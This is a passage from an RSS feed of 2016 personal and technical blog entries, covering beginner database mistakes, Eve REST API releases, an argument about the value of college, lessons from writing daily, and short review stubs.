(ready for deployment on Heroku!) of a …&lt;/p&gt;</description><author>Untrod</author><pubDate>Thu, 09 Jun 2016 15:15:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/06/simple-similar-products-recommendation-engine-in-python.html</guid></item><item><title>Chatting Up</title><link>https://trigonaminima.github.io/2016/06/chatting-up/</link><description>So, my Gamification of Life, has grown into a much bigger project than I thought it was. Now, the gamification part is dropping off and the concept of personal analytics of my life is gaining. Basically, I want to collect data about myself and analyse it to be kinda self-aware. At the end, make a dashboard that shows me the basic stats and maybe help find patterns where I can improve myself. This post will talk about the chats I have been having for 4-5 years on various IMs mainly, WhatsApp and Facebook.</description><author>Playground</author><pubDate>Thu, 09 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2016/06/chatting-up/</guid></item><item><title>To the lady on the bus</title><link>https://june.kim/to-the-lady-on-the-bus/</link><author>june.kim</author><pubDate>Wed, 08 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/to-the-lady-on-the-bus/</guid></item><item><title>Eve REST API Framework v0.6.4 now available</title><link>https://nicolaiarocci.com/eve-0-6-4-just-released/</link><description>&lt;p&gt;Quick note to let you all know that &lt;a href="https://pypi.python.org/pypi/Eve/0.6.4"&gt;Eve v0.6.4&lt;/a&gt; is out with a few significant &lt;a href="http://python-eve.org/changelog#version-0-6-4"&gt;updates&lt;/a&gt;. Thanks to James Stewart for contributing to this release.&lt;/p&gt;
&lt;p&gt;Work on v0.7, which will include MongoDB Aggregation Framework support (&lt;a href="http://python-eve.org/features.html#mongodb-aggregation-framework"&gt;docs&lt;/a&gt;) and many other &lt;a href="http://python-eve.org/changelog#version-0-7"&gt;new features&lt;/a&gt;, continues steadily.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 08 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/eve-0-6-4-just-released/</guid></item><item><title>Five mistakes beginners make when working with databases</title><link>/2016/06/07/five-mistakes-databases/</link><description>&lt;p&gt;When you start out as a developer there&amp;rsquo;s an overwhelming amount of things to grasp. First there&amp;rsquo;s the language itself, then all the quirks of the specific framework you&amp;rsquo;re using,and after that (or maybe before) we&amp;rsquo;ll throw front-end development into the mix, and somewhere along the line you have to decide to store your data somewhere.&lt;/p&gt;
&lt;p&gt;Early on, with so many things to quickly master, the database tends to be an after-though in application design (perhaps because it doesn&amp;rsquo;t make an impact to end user experience). As a result there&amp;rsquo;s a number of bad practices that tend to get picked up when working with databases, here&amp;rsquo;s a rundown of just a few.&lt;/p&gt;
&lt;h3 id="1-storing-images"&gt;
&lt;div&gt;
1. Storing images
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Images don&amp;rsquo;t belong in your database. Just because you can do something, it doesn&amp;rsquo;t mean you should.Images take up a massive amount of space in databases, and slow applications down by unnecessarily eating your database&amp;rsquo;s IO resources. The most common way this mistake occurs is when new developers base64 encode an image and store it in a database large text/blob field.&lt;/p&gt;
&lt;p&gt;The better approach is to upload your images directly to a service like Amazon S3, then store the image URL (hosted by Amazon) in your database as a text field. This way, each time you need to load an image, you need to simply output the image URL into a valid &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag. This will greatly improve website responsiveness, and generally help scale web applications.&lt;/p&gt;
&lt;h3 id="2-limitoffset"&gt;
&lt;div&gt;
2. Limit/Offset
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Pagination is extremely common in a number of applications.As soon as you start to learn SQL, the most straight-forward way to handle pagination is to &lt;code&gt;ORDER BY&lt;/code&gt; some column then &lt;code&gt;LIMIT&lt;/code&gt; the number of results returned, and for each extra page you&amp;rsquo;ll &lt;code&gt;OFFSET&lt;/code&gt; by so many records. This all seems entirely logical, until you realize at any moderate scale:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The load this exerts on your database will be painful.&lt;/li&gt;
&lt;li&gt;It isn&amp;rsquo;t deterministic, should records change as the user flips between pages.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The unfortunate part is: pagination is quite complex, and there isn&amp;rsquo;t a one-size-fits-all solution. For more information on solving pagination problems, you can check &lt;a href="https://www.citusdata.com/blog/1872-joe-nelson/409-five-ways-paginate-postgres-basic-exotic"&gt;out numerous options&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="3-integer-primary-keys"&gt;
&lt;div&gt;
3. Integer primary keys
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The default for almost all ORMs when creating a primary key is to create a serial field. This is a sequence that auto-increments and then you use that number as your primary key. This seems straight forward as an admin, because you can browse from /users/1 to /users/2, etc. And for most applications this can often be fine. And for most applications, this is fine. But, you&amp;rsquo;ll soon realize as you start to scale that integers primary keys can be exhausted, and are not ideal for large-scale systems. Further you&amp;rsquo;re reliant on that single system generating your keys. If a time comes when you have to scale the pain here will be huge. The better approach is to start &lt;a href="https://til.hashrocket.com/posts/31a5135e19-generate-a-uuid-in-postgresql"&gt;taking advantage of UUIDs&lt;/a&gt; from the start.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;There&amp;rsquo;s also the bonus advantage of not secretly showcasing how many users/listings/whatever the key references directly to users on accident.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="4-default-values-on-new-columns"&gt;
&lt;div&gt;
4. Default values on new columns
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;No matter how long you&amp;rsquo;ve been at it you won&amp;rsquo;t get the perfect schema on day 1. It&amp;rsquo;s better to think of database schemas as continuously evolving documents. Fortunately, it&amp;rsquo;s easy to add a column to your database, but: it&amp;rsquo;s also easy to do this in a horrific way. By default, if you just add a column it&amp;rsquo;ll generally allow NULL values. This operation is fast, but most applications don&amp;rsquo;t truly want null values in their data, instead they want to set the default value.&lt;/p&gt;
&lt;p&gt;If you do add a column with a default value on the table, this will trigger a full re-write of your table. &lt;em&gt;Note: this is very bad for any sizable table on an application.&lt;/em&gt; Instead, it&amp;rsquo;s far better to allow null values at first so the operation is instant, then set your default, and then, with a background process go and retroactively update the data.&lt;/p&gt;
&lt;p&gt;This is more complicated than it should be, but fortunately there are some &lt;a href="http://pedro.herokuapp.com/past/2011/7/13/rails_migrations_with_no_downtime/"&gt;handy guides&lt;/a&gt; to help.&lt;/p&gt;
&lt;h3 id="5-over-normalization"&gt;
&lt;div&gt;
5. Over normalization
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;As you start to learn about normalization it feels like the right thing to do. You create a &lt;code&gt;posts&lt;/code&gt; table, which contains &lt;code&gt;authors&lt;/code&gt;, and each post belongs in a category. So you create a &lt;code&gt;categories&lt;/code&gt; table, and then you create a join table &lt;code&gt;post_categories&lt;/code&gt;. At the real root of it there&amp;rsquo;s not anything fundamentally wrong with normalizing your data, but at a certain point there are diminishing returns.&lt;/p&gt;
&lt;p&gt;In the above case categories could very easily just be an array of varchar fields on a post. Normalization makes plenty of sense, but thinking through it a bit more every time you have a many to many table and wondering if you really need a full table on both sides is worth giving a second thought.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Edit: It&amp;rsquo;s probably worth saying that under-normalization is also a problem as well. There isn&amp;rsquo;t a one size fits all here. In general there are times where it does make sense to have a completely de-normalized and a completely normalized approach. As &lt;a href="https://twitter.com/fuzzychef/status/740248400243785728"&gt;@fuzzychef&lt;/a&gt; described: &amp;ldquo;use an appropriate amount of normalization i.e. The goldilocks principle&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="conclusion"&gt;
&lt;div&gt;
Conclusion
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;When I asked about this on twitter I got a pretty great responses, but they were all over the map. From the basics of never looking at the queries the ORM is generating, to much more advanced topics such as isolation levels. The one I didn&amp;rsquo;t hit on that does seem to be a worthwhile one for anyone building a real world app is indexing. Knowing how &lt;a href="http://www.craigkerstiens.com/2012/10/01/understanding-postgres-performance/"&gt;indexing works&lt;/a&gt;, and understanding &lt;a href="http://www.craigkerstiens.com/2013/05/30/a-collection-of-indexing-tips/"&gt;what indexes&lt;/a&gt; you need to create is a critical part of getting good database performance. There&amp;rsquo;s a number of posts on indexing that teach the basics, as well as &lt;a href="http://www.craigkerstiens.com/2013/01/10/more-on-postgres-performance/"&gt;practical steps&lt;/a&gt; for analyzing performance with Postgres.&lt;/p&gt;
&lt;p&gt;In general, I encourage you to treat the database as another tool in your chest as opposed to a necessary evil, but hopefully, the above tips will at least prevent you from making some initial mistakes as you dig in as a beginner.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Special thanks to &lt;a href="https://twitter.com/mdeggies"&gt;@mdeggies&lt;/a&gt; and &lt;a href="https://twitter.com/rdegges"&gt;@rdegges&lt;/a&gt; for the initial conversation to spark the post at PyCon.&lt;/em&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Tue, 07 Jun 2016 23:55:56 GMT</pubDate><guid isPermaLink="true">/2016/06/07/five-mistakes-databases/</guid></item><item><title>On Maps</title><link>https://rjp.is/blogging/posts/on-maps-2/</link><description>In which we criticise Apple Maps.</description><author>infrequent oscillations</author><pubDate>Mon, 06 Jun 2016 13:33:05 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/on-maps-2/</guid></item><item><title>First week of Juneathon</title><link>https://rjp.is/blogging/posts/first-week-of-juneathon-2/</link><description>Being lazy and repurposing the Gyroscope report.</description><author>infrequent oscillations</author><pubDate>Mon, 06 Jun 2016 11:44:33 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/first-week-of-juneathon-2/</guid></item><item><title>Meet Eve-Swagger the swagger.io extension for your Eve powered REST API</title><link>https://nicolaiarocci.com/announcing-eve-swagger/</link><description>&lt;p&gt;&lt;a href="https://github.com/nicolaiarocci/eve-swagger"&gt;Eve-Swagger&lt;/a&gt; is a swagger.io extension for &lt;a href="http://python-eve.org"&gt;Eve&lt;/a&gt; powered RESTful APIs. It has been around for a while on GitHub but I never managed to officially release it. So rejoice! it is now available on PyPI.&lt;/p&gt;
&lt;p&gt;But what is Swagger, and why is it useful to your RESTful API? With a Swagger-enabled API you can get interactive documentation, client SDK generation and discoverability, all for free. From &lt;a href="http://swagger.io"&gt;Swagger website&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Swagger is a simple yet powerful representation of your RESTful API. With the largest ecosystem of API tooling on the planet, thousands of developers are supporting Swagger in almost every modern programming language and deployment environment. With a Swagger-enabled API, you get interactive documentation, client SDK generation and discoverability.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 06 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/announcing-eve-swagger/</guid></item><item><title>Passengers</title><link>https://olshansky.info/movie/passengers/</link><description>Olshansky's review of Passengers</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 05 Jun 2016 14:20:27 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/passengers/</guid></item><item><title>Hexiamonds</title><link>https://blog.gnoack.org/post/hexiamonds</link><description>&lt;p&gt;I made 3D models for Hexiamond puzzle pieces, which can be &lt;a href="https://www.unix-ag.uni-kl.de/~guenther/downloads/hexiamonds.tar.gz"&gt;downloaded here&lt;/a&gt; (STL format).&lt;/p&gt;
&lt;p&gt;Each Hexiamond piece consists of 6 triangles, which yields 12
different pieces when you try out all combinations.&lt;/p&gt;
&lt;figure&gt;
&lt;img alt="" src="/images/hexiamond.png" /&gt;
&lt;figcaption&gt;&lt;p&gt;3d model of a Hexiamond&lt;/p&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;More background information and some interesting puzzles to try can be
found on this nice page by David Goodger:
&lt;a href="http://puzzler.sourceforge.net/docs/hexiamonds.html"&gt;http://puzzler.sourceforge.net/docs/hexiamonds.html&lt;/a&gt;&lt;/p&gt;</description><author>Blog on blog.gnoack.org</author><pubDate>Sun, 05 Jun 2016 14:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.gnoack.org/post/hexiamonds</guid></item><item><title>Zootopia</title><link>https://olshansky.info/movie/zootopia/</link><description>Olshansky's review of Zootopia</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 05 Jun 2016 10:37:55 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/zootopia/</guid></item><item><title>A message for high schoolers</title><link>https://josh.works/college/2016/06/05/a-message-for-high-schoolers/</link><description>&lt;p&gt;tl;dr: Before you start looking at colleges, be able to discuss coherently the following three topics:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Credentialism&lt;/li&gt;
  &lt;li&gt;Signaling&lt;/li&gt;
  &lt;li&gt;Opportunity cost&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you can wrap your head around that, you’ll be ahead of most of your peers. I’ve got a few links for you farther down in this article.&lt;/p&gt;
&lt;h3 id="what-you-should-learn-in-college-or-at-least-know-by-the-time-you-graduate"&gt;What you should learn in college, or at least know by the time you graduate:&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;time management&lt;/li&gt;
  &lt;li&gt;how to interact with peers as you might in a professional environment&lt;/li&gt;
  &lt;li&gt;research skills&lt;/li&gt;
  &lt;li&gt;problem solving&lt;/li&gt;
  &lt;li&gt;How to write a paper&lt;/li&gt;
  &lt;li&gt;How to get along with roommates&lt;/li&gt;
  &lt;li&gt;How to manage money &lt;/li&gt;
  &lt;li&gt;How to party&lt;/li&gt;
  &lt;li&gt;How to shirk the minimum age drinking limit&lt;/li&gt;
  &lt;li&gt;“How to think” (or so says the New York Times)&lt;/li&gt;
  &lt;li&gt;How to deal with people you don’t like&lt;/li&gt;
  &lt;li&gt;How to put up with arbitrary rules&lt;/li&gt;
  &lt;li&gt;How to deal with often arcane syllubi &lt;/li&gt;
  &lt;li&gt;How to prepare for tests&lt;/li&gt;
  &lt;li&gt;How to identify the expectations of people of influence, and then meet those expectations&lt;/li&gt;
  &lt;li&gt;How to live within your means&lt;/li&gt;
  &lt;li&gt;How to file your taxes&lt;/li&gt;
  &lt;li&gt;How to conduct a job search&lt;/li&gt;
  &lt;li&gt;How to perform well at work&lt;/li&gt;
  &lt;li&gt;How to cook simple, easy, healthy, cost-effective meals&lt;/li&gt;
  &lt;li&gt;How to budget (and stick to it)&lt;/li&gt;
  &lt;li&gt;How to set up and contribute to retirement accounts&lt;/li&gt;
  &lt;li&gt;How to change a tire&lt;/li&gt;
  &lt;li&gt;How to identify knowledgeable people who are not compelled by their job to help you, and solicit their help&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="items-from-the-above-list-you-can-learn-without-going-to-college"&gt;Items from the above list you can learn without going to college:&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;time management&lt;/li&gt;
  &lt;li&gt;how to interact with peers as you might in a professional environment&lt;/li&gt;
  &lt;li&gt;research skills&lt;/li&gt;
  &lt;li&gt;problem solving&lt;/li&gt;
  &lt;li&gt;How to write a paper&lt;/li&gt;
  &lt;li&gt;How to get along with roommates&lt;/li&gt;
  &lt;li&gt;How to manage money &lt;/li&gt;
  &lt;li&gt;How to party&lt;/li&gt;
  &lt;li&gt;How to shirk the minimum age drinking limit&lt;/li&gt;
  &lt;li&gt;“How to think” (or so says the New York Times)&lt;/li&gt;
  &lt;li&gt;How to deal with people you don’t like&lt;/li&gt;
  &lt;li&gt;How to put up with arbitrary rules&lt;/li&gt;
  &lt;li&gt;How to deal with often arcane syllubi &lt;/li&gt;
  &lt;li&gt;How to prepare for tests&lt;/li&gt;
  &lt;li&gt;How to identify the expectations of people of influence, and then meet those expectations&lt;/li&gt;
  &lt;li&gt;How to live within your means&lt;/li&gt;
  &lt;li&gt;How to file your taxes&lt;/li&gt;
  &lt;li&gt;How to conduct a job search&lt;/li&gt;
  &lt;li&gt;How to perform well at work&lt;/li&gt;
  &lt;li&gt;How to cook simple, easy, healthy, cost-effective meals&lt;/li&gt;
  &lt;li&gt;How to budget (and stick to it)&lt;/li&gt;
  &lt;li&gt;How to set up and contribute to retirement accounts&lt;/li&gt;
  &lt;li&gt;How to change a tire&lt;/li&gt;
  &lt;li&gt;How to identify knowledgeable people who are not compelled by their job to help you, and solicit their help&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="items-from-list-one-not-on-list-two"&gt;Items from list one not on list two:&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;n/a&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;OK, Josh, are you arguing that no one should go to college?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Not at all, anonymous internet person.&lt;/p&gt;

&lt;p&gt;I think college is a good fit for lots of people, as long as they are looking for something that’s not on the above list. If they are looking for something that can be had
only by going to college, they should do two things:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Evaluate if the thing is really worth having&lt;/li&gt;
  &lt;li&gt;Determine if it can be had in any other way&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, so many people
still stay the degree matters. “Oh, you can’t get a certain job without having a degree” or “you can’t get promoted beyond a certain level without a degree.”&lt;/p&gt;

&lt;p&gt;This may be true, in which case you’ve got research to do. Interview people who have done well for themselves, and find out how much of it could have happened without a degree. &lt;/p&gt;

&lt;p&gt;Decide if it’s possible that
you don’t want to work for a company that requires a degree.&lt;/p&gt;

&lt;p&gt;Just because a job requires a degree doesn’t mean that it requires a degree. A company that publishes this requirement often doesn’t actually put it in practice, which means
you don’t need a degree to work at that company. (See “signaling, qualifying applicants”)&lt;/p&gt;

&lt;p&gt;Conversely, you should not aspire to work at a company that
enforces this requirement. College is mostly
&lt;a href="http://econlog.econlib.org/archives/2011/11/the_magic_of_ed.html"&gt;signaling&lt;/a&gt; and
&lt;a href="http://www.theatlantic.com/magazine/archive/1985/12/the-case-against-credentialism/308286/"&gt;credentialism&lt;/a&gt;. From
&lt;a href="http://econlog.econlib.org/archives/2011/11/the_magic_of_ed.html"&gt;EconLib&lt;/a&gt;: &lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;According to the signaling model, employers reward educational success because of what it shows (“signals”) about the student.  Good students tend to be smart, hard-working, and conformist - three crucial traits for almost any job.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, if the value of college is because of the degree-as-signal component, do it as cheaply and quickly as possible. There is no other reasonable way to go.&lt;/p&gt;

&lt;p&gt;If the value of college is in credentialism, go to the best college you can. (Harvard, Yale, MIT, or as close to those as you can get.)&lt;/p&gt;

&lt;p&gt;If the value of college is in preparing you for a job by giving you practical skills that directly relate to future employment, take off the rose-colored glasses and think outside the box. &lt;/p&gt;

&lt;p&gt;As I mentioned, there are plenty of good reasons to go to college, but it’s too expensive and time consuming to not evaluate with a critical eye.&lt;/p&gt;

&lt;p&gt;And yet, this year, millions of students are taking out billions of dollars in loans to fund four years of mediocre education to provide a degree that no one will care about, to get a job that allows them to pay off that loan sometime in the next fifteen years.&lt;/p&gt;

&lt;p&gt;Full disclosure: I went to college. I was a poor student. I think I had a low B average, (I failed a class my last semester. oops). Besides meeting Kristi and some good friends, I’m hard pressed to find the value of my education. When I consider the opportunity cost, besides my wife and my friends, it was a huge net loss. &lt;/p&gt;

&lt;p&gt;¯\_(ツ)_/¯ &lt;/p&gt;

&lt;p&gt;PPS Forward this to your favorite high schooler. Might save them a couple ten thousand dollars.&lt;/p&gt;
&lt;h3 id="resources"&gt;Resources&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://www.doityourselfdegree.com/faqs/"&gt;DIY Degree&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Massive_open_online_course"&gt;MOOCs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.scotthyoung.com/blog/myprojects/mit-challenge-2/"&gt;Scott Young’s “MIT CompSci in a Year” challenge&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Sun, 05 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/college/2016/06/05/a-message-for-high-schoolers/</guid></item><item><title>12 Lessons Learned While Publishing Something Every Day for a Month</title><link>https://josh.works/growth/2016/06/05/12-lessons-learned-while-publishing-someone-every-day-for-a-month/</link><description>&lt;p&gt;A month ago, I decided to publish something every day for at least thirty days.&lt;/p&gt;

&lt;p&gt;I read a few others who did something similar, and discussed all the benefits. I’ve found myself struggling with creating something and then making it public. (Public here, on another project, or at work.)&lt;/p&gt;

&lt;p&gt;I also had a bit of a backlog of ideas or a scattered few paragraphs on a topic. In my head, these would all turn into comprehensive tomes that would be the end-all resource on a subject. With those expectations, I would never, ever write them.&lt;/p&gt;

&lt;p&gt;So, here we are, thirty one published posts later (this is #32), and in no specific order, is what I’ve learned:&lt;/p&gt;

&lt;h2 id="writing-every-day-is-time-consuming"&gt;Writing every day is time consuming.&lt;/h2&gt;

&lt;p&gt;I didn’t pre-write anything, though I did regularly add ideas to a running list of potential posts, so every day I’d sit down and write, format, edit (sometimes) and publish in one sitting. I rarely finished anything in less than 30 minutes.&lt;/p&gt;

&lt;h2 id="much-of-what-i-wrote-felt-self-indulgent-or-low-value"&gt;Much of what I wrote felt self-indulgent, or low-value.&lt;/h2&gt;

&lt;p&gt;Since I was just firing off whatever popped into my head (more or less), I wasn’t using any external indicators of what would be useful to readers.&lt;/p&gt;

&lt;h2 id="writing-begets-writing"&gt;Writing begets writing&lt;/h2&gt;

&lt;p&gt;I started this project with ten ideas I wanted to “clear off my plate”. Thirty posts later, my list of things to write about is now thirty items long. Oops.&lt;/p&gt;

&lt;h2 id="i-care-a-lot-about-metrics-but-have-very-little-to-show-for-it"&gt;I care a lot about metrics, but have very little to show for it&lt;/h2&gt;

&lt;p&gt;I got 20-50 unique visitors a day. Here’s my good-sounding reason for wanting visitors:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I want to create something useful and valuable, and if something is useful and valuable, then I can be more useful in the world by reaching more people.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here’s the more selfish and accurate reason:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I want to think of myself as someone who creates useful and valuable things, and look to the external validation of high numbers of readers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There’s a bunch of other benefits to me of “traffic”, so I’ll unashamedly say I want to grow my audience.&lt;/p&gt;

&lt;p&gt;(I put “traffic” in quotes because it’s not traffic, it’s people giving a minute or two of their day to me. This is a pretty big deal.)&lt;/p&gt;

&lt;h2 id="i-dont-want-to-rely-on-any-external-sourceplatform-for-traffic"&gt;I don’t want to rely on any external source/platform for traffic&lt;/h2&gt;

&lt;p&gt;For now, the only metric I care about is email subscribers. That means that until that person unsubscribes, that person is willing to have me in their inbox, and my ability to talk to them is not linked to the search algorithems of any ofther tool. Facebook is notorious at showing things you post to only a few other people, and Twitter is moving in the same direction.&lt;/p&gt;

&lt;h2 id="specialization-will-allow-me-to-help-more-people"&gt;Specialization will allow me to help more people.&lt;/h2&gt;

&lt;p&gt;If I want to grow an audience, I can, they just need to know why the heck I’m writing, and if they want that, they’ll subscribe, and if they don’t, they won’t.&lt;/p&gt;

&lt;p&gt;That’s not possible right now, as I’m not focused on any particular thing in my writing. This might change down the road, but for now, I don’t plan on niching down into a specific domain.&lt;/p&gt;

&lt;p&gt;I’ve already got a platform for writing about climbing (and can generate thousands of page views a day linking out useful things (like &lt;a href="http://www.climbersguide.co/the-only-core-exercises-youll-ever-need-upgrade/"&gt;a video about core strength&lt;/a&gt;) to reddit.)&lt;/p&gt;

&lt;p&gt;Honestly, writing every day distracted me from work I was doing for The Climber’s Guide. I began working again on TCG after I started writing on here every day, though, so I still strongly believe that creating begets creating. I was struggling to write regularly, so I started writing every day, and all of a sudden had a bunch more things to write about.&lt;/p&gt;

&lt;p&gt;It was only after I was writing regularly that I got the idea to film a video course of dealing with fear while rock climbing. I’m officialy transitioning from writing here every day to writing more for &lt;a href="http://climbersguide.co/conquer-fear-course"&gt;TGC Fear Course&lt;/a&gt; (not the finished title.) Punch in your email address there (or here, in the top-right corner) for updates as we go.&lt;/p&gt;

&lt;h2 id="lists-get-views-or-at-least-good-article-titles-do"&gt;Lists get views, or at least good article titles do&lt;/h2&gt;

&lt;p&gt;The top-performing posts of the month were:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="/what-ive-learned-from-cooking-in-36-kitchens-in-the-last-year"&gt;Lessons Learned from cooking in 36 Kitches in the last year&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/62-lessons-learned-after-year-of-full-time-travel"&gt;62 Lessons Learned after one year of full time travel&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Only two data points, but something made it click a bit more. I think they are far the most interesting things I posted in the last month, but they also had good subject lines. And had numbers in the titles.&lt;/p&gt;

&lt;p&gt;As a counterpoint &lt;a href="/ok-some-new-books"&gt;OK, Some New Books&lt;/a&gt; is not exactly a riveting and enticing subject line.&lt;/p&gt;

&lt;h2 id="doing-anything-challenging-for-a-period-of-time-is-a-rewarding-challenge"&gt;Doing anything challenging for a period of time is a rewarding challenge&lt;/h2&gt;

&lt;p&gt;I’m quite pleased to have completed this 30 days of writing. When I look at my
&lt;a href="/blog"&gt;archives page&lt;/a&gt;, I’m pleased to see a lot of items for this year. I wrote that. It’s a little flag planted on my tiny corner of the internet, and every single post was at least loosly aimed to be helpful to others.&lt;/p&gt;

&lt;p&gt;So, this wasn’t complaining about things that annoy me (though &lt;a href="/customer-success-american-airlines-case-study"&gt;I talked about American Airline’s poor UX&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I’m reasonably pleased with putting words down.&lt;/p&gt;

&lt;h3 id="i-dont-know-what-it-looks-like-to-find-your-voice-but-i-dont-think-i-need-it"&gt;I don’t know what it looks like to find “your voice”, but I don’t think I need it&lt;/h3&gt;

&lt;p&gt;Lots of people talk about needing to find “your voice” as a critical step to… something.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://goinswriter.com/you-have-a-voice/"&gt;This might be true&lt;/a&gt;, but &lt;a href="http://www.theatlantic.com/entertainment/archive/2014/11/finding-your-voice-as-a-writer-overrated/382946/"&gt;I don’t believe it to matter much&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I write for fun (on this website) and sometimes for what will some day be for profit (Climber’s Guide) and I write plenty for work (to coworkers and to customers, both in email and much more durable, lasting ways). None of this has been held back by me not knowing what “my voice” is.&lt;/p&gt;

&lt;p&gt;Maybe some day I’ll look back and say “ah, I found my voice right there!” and stab a date on the calendar. I think what that really will mean is “I became comfortable with the written word, and others found value in what I created.”&lt;/p&gt;

&lt;p&gt;For example, I’ve made a few videos to help climbers in a few different ways. I’ve gotten quite a bit of positive feedback from it. I wanted to say “ah, that there, was written in my voice, and that’s why it was so popular.”&lt;/p&gt;

&lt;p&gt;Except that’s not true. Things that are valuable are valuable because they convey useful information.&lt;/p&gt;

&lt;p&gt;My skills with the written word are incidental. (Copywriting is enormously valuable, but that’s not “finding your voice”, that’s “the psychology of persuasion”).&lt;/p&gt;

&lt;h3 id="distractions-are-everywhere-and-i-get-crushed-when-its-just-a-few-keystrokes-away"&gt;Distractions are everywhere, and I get crushed when it’s just a few keystrokes away.&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://selfcontrolapp.com/"&gt;Self-control&lt;/a&gt; (the app) is awesome. As is &lt;a href="http://www.focusapp.io/#focus-ios"&gt;focus.io&lt;/a&gt;. Coupled with &lt;a href="https://www.alfredapp.com/"&gt;Alfred&lt;/a&gt; and the right &lt;a href="https://heyfocus.com/scripting-focus-with-os-x-url-handlers/"&gt;workflow&lt;/a&gt;, you can lock yourself out of distraction with just six keystrokes. (for me it’s cmd-space, then “f-o-c [return]” to enable Focus).&lt;/p&gt;

&lt;h3 id="someday-ill-embrace-editing-but-its-not-yet"&gt;Someday I’ll embrace editing, but it’s not yet.&lt;/h3&gt;

&lt;p&gt;This is probably obvious. I write things filled with errors, poorly-worded sentances, exessive use of the passive voice (see what I did there) and lots of other mistakes that would cut it in a professional setting. This isn’t professional, so here we are.&lt;/p&gt;

&lt;h3 id="make-more-asks"&gt;Make more asks&lt;/h3&gt;

&lt;p&gt;I’m going to ask things more often, or make more requests.
Here’s my first request:&lt;/p&gt;

&lt;p&gt;Will you give me your email address? In the top right corner of this page is a box for your email. Put it in there, and next time you get an email, send me a reply. I’ll put more instructions in the email then.&lt;/p&gt;

&lt;p&gt;Until next time (but not tomorrow, because I’m done writing every day),&lt;/p&gt;

&lt;p&gt;-Josh&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 05 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/06/05/12-lessons-learned-while-publishing-someone-every-day-for-a-month/</guid></item><item><title>Beautiful A/B testing</title><link>https://bytepawn.com/beautiful-ab-testing.html</link><description>&lt;p&gt;I gave this talk at the O’Reilly Strata Conference London in 2016 June, mostly based on what  I learned at Prezi from 2012-2016.&lt;br /&gt;&lt;br /&gt;&lt;img alt="14. slide" src="/images/strata-2016/14.png" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Sun, 05 Jun 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/beautiful-ab-testing.html</guid></item><item><title>Norwegian Wood</title><link>https://apurva-shukla.me/bookshelf/norwegian-wood/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ “Oh boy”

Utterly splendid.

